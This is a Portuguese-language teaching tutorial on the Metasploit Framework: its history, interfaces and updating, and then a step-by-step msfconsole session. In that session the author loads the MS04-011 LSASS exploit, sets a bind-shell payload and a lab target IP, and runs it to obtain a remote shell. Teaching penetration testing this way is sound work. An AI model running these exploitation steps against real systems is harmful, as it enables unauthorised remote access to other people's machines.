Tutoriais de Segurança de Redes

Transcrição

Tutoriais de Segurança de Redes
Tutoriais de Segurança de Redes
Ricardo Kléber
([email protected])
Lição 01 :: Metasploit Básico
Iniciando uma série de lições de utilização de soluções/ferramentas para a prática de segurança de redes, este
primeiro tutorial foca na Ferramenta Metasploit, disponível em sua última versão (4.4) no LiveDVD Forense
Backtrack5R3. O Metasploit, por si só, já valeria um LiveCD, pelo conjunto de funcionalidades que oferece.
O principal objetivo desses tutoriais é a popularização da cultura de segurança e a troca de informações na
área, principalmente entre estudantes de cursos de computação, embora a linguagem e a abordagem
utilizados busquem simplificar conceitos e ferramentas a ponto de atrair leitores de outras áreas do
conhecimento.
O Que é Metasploit?
De acordo com o seu próprio site oficial (www.metasploit.com) o Metasploit Framework é uma plataforma
avançada “Open Source”, desenvolvida especificamente com o objetivo de potencializar e agilizar o
desenvolvimento, testes e utilização de exploits. O projeto desse framework, que segundo seus criadores
nasceu como um jogo, tem demonstrado um crescimento espetacular, especialmente a partir da versão 2.2,
dando-lhe lugar privilegiado entre os kits de ferramentas de todos os profissionais da área de segurança da
informação.
Como a maioria de seus componentes são escritos na linguagem Perl, outros ainda desenvolvidos em C e
Assembler, sua portabilidade está assegurada, aspecto que contribui em grande parte para a sua aceitação
massiva, pois pode ser utilizado em praticamente todas as plataformas Unix-Like, BSD, MacOS X,
Windows, etc.
Um outro aspecto interessante é o licenciamento a partir da versão 2.3 do Metasploit Framework, baseado
tanto na GPL v2 como na “Perl Artistic Licences”, permitindo sua utilização tanto em projetos Open Source
como em projetos comerciais.
O foco principal do Metasploit Framework é a área de Penetration Test (PenTest) ou, em português, “Testes
de Penetração”, atividade cada vez mais recomendada tanto por equipes de segurança internas nas
instituições, com vistas a testar a aplicação de suas políticas de segurança, como por empresas de consultoria
especializada que oferecem esse tipo de serviço a outras, com vistas a buscar explorar vulnerabilidades a
partir de ambientes externos, simulando o comportamento de eventuais atacantes, antes que esses ataques, de
fato, ocorram.
Em 21 de outubro de 2009, a empresa de segurança Rapid7 adquiriu o projeto Metasploit mantendo, porém,
uma equipe de desenvolvimento em tempo integral e o todo o código fonte sob licença BSD.
Estudantes (e curiosos) podem utilizar o Metasploit Framework incorporando a ele novas funcionalidades,
uma vez que, em função de sua licença, podem modificar, customizar ou apenas estudar suas linhas de
código internas para entender o seu funcionamento.
Mesmo com todas as suas ferramentas oferecidas gratuitamente para uso, o Metasploit Framework é uma
excelente solução corporativa, comparável às grande soluções comerciais proprietárias (e caras) utilizadas
para o mesmo objetivo.
Instalando o Metasploit Framework
Se o desejo é instalar o Metasploit Framework, como dito anteriormente a instalação pode ser realizada tanto
em sistemas baseados em Unix/Linux como no MS-Windows, dentre outros. Em ambos os dois primeiros
sistemas citados (com maior número de usuários), os instaladores dispõem de telas de ajuda (wizards) sendo
que, no caso do Windows, a instalação é feita sobre uma versão do software Cygwin customizado que, após
configurado, realiza a instalação e configuração do Metasploit Framework normalmente, a partir de um
arquivo executável (“metasploit-latest-windows-installer.exe”). No caso do Unix/Linux, o usuário pode
baixar e instalar a partir do site oficial a última versão do Metasploit Framework (“metasploit-latest-linuxinstaller.run”), descompactar e instalar.
Este tutorial não detalhará os demais passos da instalação (em quaisquer das arquiteturas) uma vez que
subentende que o usuário está fazendo uso do LiveCD Backtrack5R3 que já dispõe da ferramenta instalada e
configurada, pronta para uso.
Atualizando o Metasploit Framework
O Metasploit Framework traz, como parte de seus componentes, uma série de exploits prontos para utilizar.
Uma vez que novas vulnerabilidades surgem a cada instante, naturalmente novos exploits (para explorar
essas vulnerabilidades) também devem surgir, tornando o framework constantemente desatualizado,
necessitando de atualização constante. Essa atualização é possível uma vez que várias comunidades, grupos
e instituições mantém atividades constantes de identificação, classificação e disponibilização de informações
relacionadas a novas vulnerabilidades, bem como dos exploits para a sua exploração. Esses exploits podem
ser adicionados facilmente ao Metasploit Framework através de um dos utilitários da ferramenta chamado
“msfupdate” adicionada como parte da instalação padrão do Metasploit Framework a partir da versão 2.2. A
sua utilização é bastante simples, como exemplificado a seguir:
# msfupdate ­u
Quando executado, o “msfupdate” exibe informações sobre as últimas novidades e solicita a confirmação
para realizar o procedimento de atualização (adição dos novos exploits disponíveis publicamente ao
Metasploit Framework).
A presentaç
ões
(Interfaces)
d o
Metasploit Framework
O Metasploit Framework disponibiliza 4 (quatro) interfaces distintas para interação com suas
ferramentas/funcionalidades disponíveis:
•
Interface de Linha de Comando: Forma mais tradicional de interação com o framework, iniciada a partir do
comando “msfcli”.
•
Interface de Console: Disponibiliza um prompt do Metasploit, e é iniciada a partir do comando “msfconsole”
•
Interface Web: Indicada para necessidades de interação com a ferramenta a partir de máquinas remotas (via
browser) e/ou por mais de um usuário, como em situações em que as ferramentas necessitam ser executadas
por equipes. Para a disponibilização dessa interface o Metasploit disponibiliza seu próprio servidor http
podendo ser configurado, se necessário, para restringir o acesso a clientes (browsers) a partir da identificação
de IPs e/ou senhas de acesso à interface.
•
Interface Web: Inicialmente acionada a partir do comando “msfgui” a interface gráfica do Metasploit surgiu
em 2010, sendo substituída, posteriormente, pela interface Armitage, padrão utilizado na versão atual do
Metasploit Framework.
Lançando um Exploit
Utilizando a interface de console do Metasploit Framework apresentamos, a seguir, um exemplo prático de
utilização de um exploit específico.
# msfconsole
O Metasploit Framework apresentará um banner da ferramenta (Figura 01) indicando a versão instalada da
ferramenta, quantidade de exploits e payloads disponíveis e, em seguida, o console (“msf >”) de interação
aguardando a digitação do comando.
_ _
/ \ / \ __ _ __ /_/ __
| |\ / | _____ \ \ ___ _____ | | / \ _ \ \
| | \/| | | ___\ |­ ­| /\ / __\ | ­__/ | | | | || | |­ ­|
|_| | | | _|__ | |_ / ­\ __\ \ | | | |_ \__/ | | | |_
|/ |____/ \___\/ /\ \___/ \/ \__| |_\ \___\
=[ metasploit v4.5.0­dev [core:4.5 api:1.0]
+ ­­ ­­=[ 927 exploits ­ 499 auxiliary ­ 151 post
+ ­­ ­­=[ 251 payloads ­ 28 encoders ­ 8 nops
=[ svn r15728 updated 100 days ago (2012.08.10)
Warning: This copy of the Metasploit Framework was last updated 100 days ago.
We recommend that you update the framework at least every other day.
For information on updating your copy of Metasploit, please see:
https://community.rapid7.com/docs/DOC­1306
msf > Figura 01 – Banner de Apresentação da Interface msfconsole
Como o comando/funcionalidade a ser digitado presume o conhecimento prévio de sua sintaxe e
funcionalidade, para exibir informações sobre as opções disponíveis sugere-se, inicialmente, a digitação do
comando “help”, cujo resultado exibirá a descrição de cada um dos comandos e seus resultados esperados.
msf> help
Conforme apresentado pelo comando “help”, para exibir, por exemplo, a lista de exploits disponíveis, devese digitar o comando “show exploits”:
msf> show exploits
O resultado desse comando é uma lista dos exploits (Figura 02) instalados/disponíveis na ferramenta.
windows/ftp/oracle9i_xdb_ftp_pass 2003­08­18 great Oracle 9i XDB FTP PASS Overflow (win32)
windows/ftp/proftp_banner 2009­08­25 normal ProFTP 2.9 Banner Remote Buffer Overflow
windows/ftp/sasser_ftpd_port 2004­05­10 average Sasser Worm avserve FTP PORT Buffer Overflow
windows/http/apache_mod_rewrite_ldap 2006­07­28 great Apache module mod_rewrite LDAP protocol Buffer Overflow
windows/http/php_apache_request_headers_bof 2012­05­08 normal PHP apache_request_headers Function Buffer Overflow
windows/iis/iis_webdav_upload_asp 1994­01­01 excellent Microsoft IIS WebDAV Write Access Code Execution
windows/iis/ms02_065_msadc 2002­11­20 normal Microsoft IIS MDAC msadcs.dll RDS DataStub Content­Type Overflow
windows/iis/ms03_007_ntdll_webdav 2003­05­30 great Microsoft IIS 5.0 WebDAV ntdll.dll Path Overflow
windows/iis/msadc 1998­07­17 excellent Microsoft IIS MDAC msadcs.dll RDS Arbitrary Remote Command Execution
windows/mssql/ms02_039_slammer 2002­07­24 good Microsoft SQL Server Resolution Overflow
windows/smb/ms04_011_lsass 2004­04­13 good Microsoft LSASS Service DsRolerUpgradeDownlevelServer Overflow
windows/smb/ms06_066_nwapi 2006­11­14 good Microsoft Services MS06­066 nwapi32.dll Module Exploit
windows/smb/ms08_067_netapi 2008­10­28 great Microsoft Server Service Relative Path Stack Corruption
windows/wins/ms04_045_wins 2004­12­14 great Microsoft WINS Service Memory Overwrite
(...)
msf > Figura 02 – Lista de Exploits instalados/disponíveis
O uso de um exploit específico pode ser feito utilizando-se o comando “use” seguido do módulo de
exploração (exploit) que se deseja utilizar:
msf> use exploit/windows/smb/ms04_011_lsass
Para mais informações sobre o módulo de exploit selecionado para utilização, pode-se utilizar a instrução
“info”. Isso apresentará informações adicionais sobre o módulo.
msf exploit(ms04_011_lsass)> info
Como resultado (Figura 03) obteremos informações detalhadas sobre o módulo, como:
• Nome detalhado do módulo
• Caminho absoluto para acesso ao módulo
• Versão
• Plataforma-Alvo
• Tipo de Licença
• Endereço (e-mail) do desenvolvedor/mantenedor do módulo
• Versões afetadas pela vulnerabilidade (targets)
• Outras opções disponíveis para configuração (porta local / porta remota / IP local / IP remoto)
• Descrição detalhada do módulo
• Referências aos boletins de segurança publicados sobre a vulnerabilidade (CVE, Securityfocus,
OSVDB, Microsoft Technet, etc).
Name: Microsoft LSASS Service DsRolerUpgradeDownlevelServer Overflow
Module: exploit/windows/smb/ms04_011_lsass
Version: 14976
Platform: Windows
Privileged: Yes
License: Metasploit Framework License (BSD)
Rank: Good
Provided by:
hdm <[email protected]>
Available targets:
Id Name
­­ ­­­­
0 Automatic Targetting
1 Windows 2000 English
2 Windows XP English
Basic options:
Name Current Setting Required Description
­­­­ ­­­­­­­­­­­­­­­ ­­­­­­­­ ­­­­­­­­­­­
RHOST yes The target address
RPORT 445 yes Set the SMB service port
Payload information:
Space: 1024
Avoid: 7 characters
Description:
This module exploits a stack buffer overflow in the LSASS service, this vulnerability was originally found by eEye. When re­exploiting a Windows XP system, you will need need to run this module twice. DCERPC request fragmentation can be performed by setting 'FragSize' parameter.
References:
http://cve.mitre.org/cgi­bin/cvename.cgi?name=2003­0533
http://www.osvdb.org/5248
http://www.securityfocus.com/bid/10108
http://www.microsoft.com/technet/security/bulletin/MS04­011.mspx
msf exploit(ms04_011_lsass) > Figura 03 – Exemplo de saída da instrução “info”
Uma vez selecionado o exploit, deve-se indicar qual o “Shellcode” (“Payload”), ou seja, a “carga” que será
executada pelo Metasploit Framework caso a exploração da vulnerabilidade seja bem sucedida. Para
informações sobre os “Payloads” disponíveis pode-se digitar “show payloads” (Figura 04):
msf exploit(ms04_011_lsass)> show payloads
Compatible Payloads
===================
Name Rank Description
­­­­ ­­­­ ­­­­­­­­­­­
generic/custom normal Custom Payload
generic/debug_trap normal Generic x86 Debug Trap
generic/shell_bind_tcp normal Generic Command Shell, Bind TCP Inline
generic/shell_reverse_tcp normal Generic Command Shell, Reverse TCP Inline
generic/tight_loop normal Generic x86 Tight Loop
windows/adduser normal Windows Execute net user /ADD
windows/dllinject/bind_tcp normal Reflective DLL Injection, Bind TCP Stager
windows/dllinject/reverse_http normal Reflective DLL Injection, Reverse HTTP Stager
windows/dllinject/reverse_tcp normal Reflective DLL Injection, Reverse TCP Stager
windows/exec normal Windows Execute Command
windows/shell/bind_tcp normal Windows Command Shell, Bind TCP Stager
windows/shell/reverse_http normal Windows Command Shell, Reverse HTTP Stager
windows/shell/reverse_tcp normal Windows Command Shell, Reverse TCP Stager
windows/shell_bind_tcp normal Windows Command Shell, Bind TCP Inline
windows/shell_reverse_tcp normal Windows Command Shell, Reverse TCP Inline
(...)
msf exploit(ms04_011_lsass) > Figura 04 – Exemplos de “Payloads” disponíveis
Pode-se utilizar, ainda o comando “info” para obter informações adicionais de cada “Payload”, de modo a
selecionar o mais conveniente para cada caso.
Dando continuidade aos comandos selecionados como exemplo, selecionando, por exemplo, o payload
“win32_bind”, caso a vulnerabilidade seja explorada com sucesso, a execução do exploit resultará na
disponibilização de uma shell no sistema remoto. A seleção do payload específico é feita através do comando
“set”:
msf exploit(ms04_011_lsass)> set PAYLOAD generic/shell_bind_tcp
Assim, uma vez listados os exploits e payloads disponíveis, tendo-se obtido mais informações sobre cada um
deles, e escolhidas as opções específicas (Exploit: ms04_011_lsass e Payload: shell_bind_tcp) pode-se/devese solicitar ao Metasploit Framework as informações complementares disponíveis para finalizar o processo
de informação de dados para o uso do exploit, utilizando o comando “show options”.
msf exploit(ms04_011_lsass)> show options
O resultado (como exemplificado na Figura 05) apresentará as variáveis/opções complementares disponíveis
antes de executar o exploit/payload.
Module options (exploit/windows/smb/ms04_011_lsass):
Name Current Setting Required Description
­­­­ ­­­­­­­­­­­­­­­ ­­­­­­­­ ­­­­­­­­­­­
RHOST yes The target address
RPORT 445 yes Set the SMB service port
Payload options (generic/shell_bind_tcp):
Name Current Setting Required Description
­­­­ ­­­­­­­­­­­­­­­ ­­­­­­­­ ­­­­­­­­­­­
LPORT 4444 yes The listen port
RHOST no The target address
Exploit target:
Id Name
­­ ­­­­
0 Automatic Targetting
msf exploit(ms04_011_lsass) > Figura 05 – Exemplos de opções complementares
Em alguns casos, parte dessas opções já disponibilizam automaticamente valores sugeridos (default), porém,
algumas opções necessitam ser preenchidas, como o IP da máquina alvo (RHOST = Remote Host) ou a porta
local que será utilizada para interagir com o host remoto (LPORT = Local Port). Para informar os valores
dessas variáveis deve-se utilizar o comando “set” para cada um deles, como no exemplo a seguir:
msf exploit(ms04_011_lsass)> set RHOST 192.168.0.2
Após a informação do valor da variável, pode-se/deve-se utilizar novamente o comando “show options” para
verificar se o valor foi corretamente informado, bem como para verificar se existem outras variáveis que
ainda necessitam que seus valores sejam informados:
msf exploit(ms04_011_lsass)> show options
Estando tudo configurado corretamente pode-se, finalmente, executar o exploit informando o comando
“exploit” e aguardando o seu resultado.
msf exploit(ms04_011_lsass)> exploit
Se a operação foi bem sucedida, o Metasploit Framework disponibilizará um interpretador de comandos
(shell) que, nesse caso, poderá ser utilizado a partir da conexão na porta local (LPORT) 4444. Assim, a
vulnerabilidade foi explorada com sucesso e o usuário poderá explorar o acesso remoto ao host selecionado
a partir de uma shell em sua estação local.
Finalizando...
O exemplo apresentado nesta lição ilustra apenas uma simulação de exploração de vulnerabilidade a partir
de uma das interfaces disponíveis no Metasploit Framework. Todo o processo é, de fato, como aqui
ilustrado, bastante simples:
– Identificação da vulnerabilidade a explorar
– Seleção da Interface do Metasploit
– Seleção do Exploit a Utilizar
– Seleção do Payload
– Configuração de parâmetros adicionais
– Execução do Exploit
– Exploração da vulnerabilidade
Outros módulos, não necessariamente de exploração de vulnerabilidades, como por exemplo os módulos de
varreduras (scan) de portas e/ou de vulnerabilidades também estão disponíveis na ferramenta e podem ser
utilizados a partir de passos semelhantes aos do exemplo aqui apresentado.
Cabe reforçar a importância do primeiro passo apresentado nesta lição: a atualização dos módulos do
Metasploit Framework. Isso permitirá manter a ferramenta sempre preparada para a exploração das últimas
vulnerabilidades encontradas a partir dos exploits específicos para cada uma delas.
Ricardo Kléber Martins Galvão é bacharel em Ciências da Computação e mestre em Engenharia Elétrica,
professor de disciplinas de segurança de redes e perícia forense computacional no curso de Tecnologia em
Redes de Computadores do Instituto Federal de Educação, Ciência e Tecnologia do RN, atuando desde 1998
na área de segurança de redes, ministrando palestras, treinamentos e consultorias na área, tendo atuado como
Security Officer da Universidade Federal do Rio Grande do Norte, Diretor de Redes do Detran/PE e
professor em cursos de especialização em Segurança da Informação e Computação Forense em diversas
faculdades do país. É usuário do sistema operacional Linux desde 1996 e atualmente é Diretor Acadêmico de
Gestão e Tecnologia da Informação do IFRN / Câmpus Natal Central.

Documentos relacionados

Metasploit – parte 8

Metasploit – parte 8 Metasploit disponibiliza um payload especial chamado de Meterpreter, que proporciona ampla interação com a máquina alvo após a invasão, assim como uma inteligente coleta de dados e possibilidade de...

Leia mais

clicando aqui. - Julio Della Flora

clicando aqui. - Julio Della Flora Este trabalho teve como objetivo expor os benefícios da utilização do framework Metasploit e evidenciar como seus recursos aceleram o desenvolvimento de código para exploração de vulnerabilidades. ...

Leia mais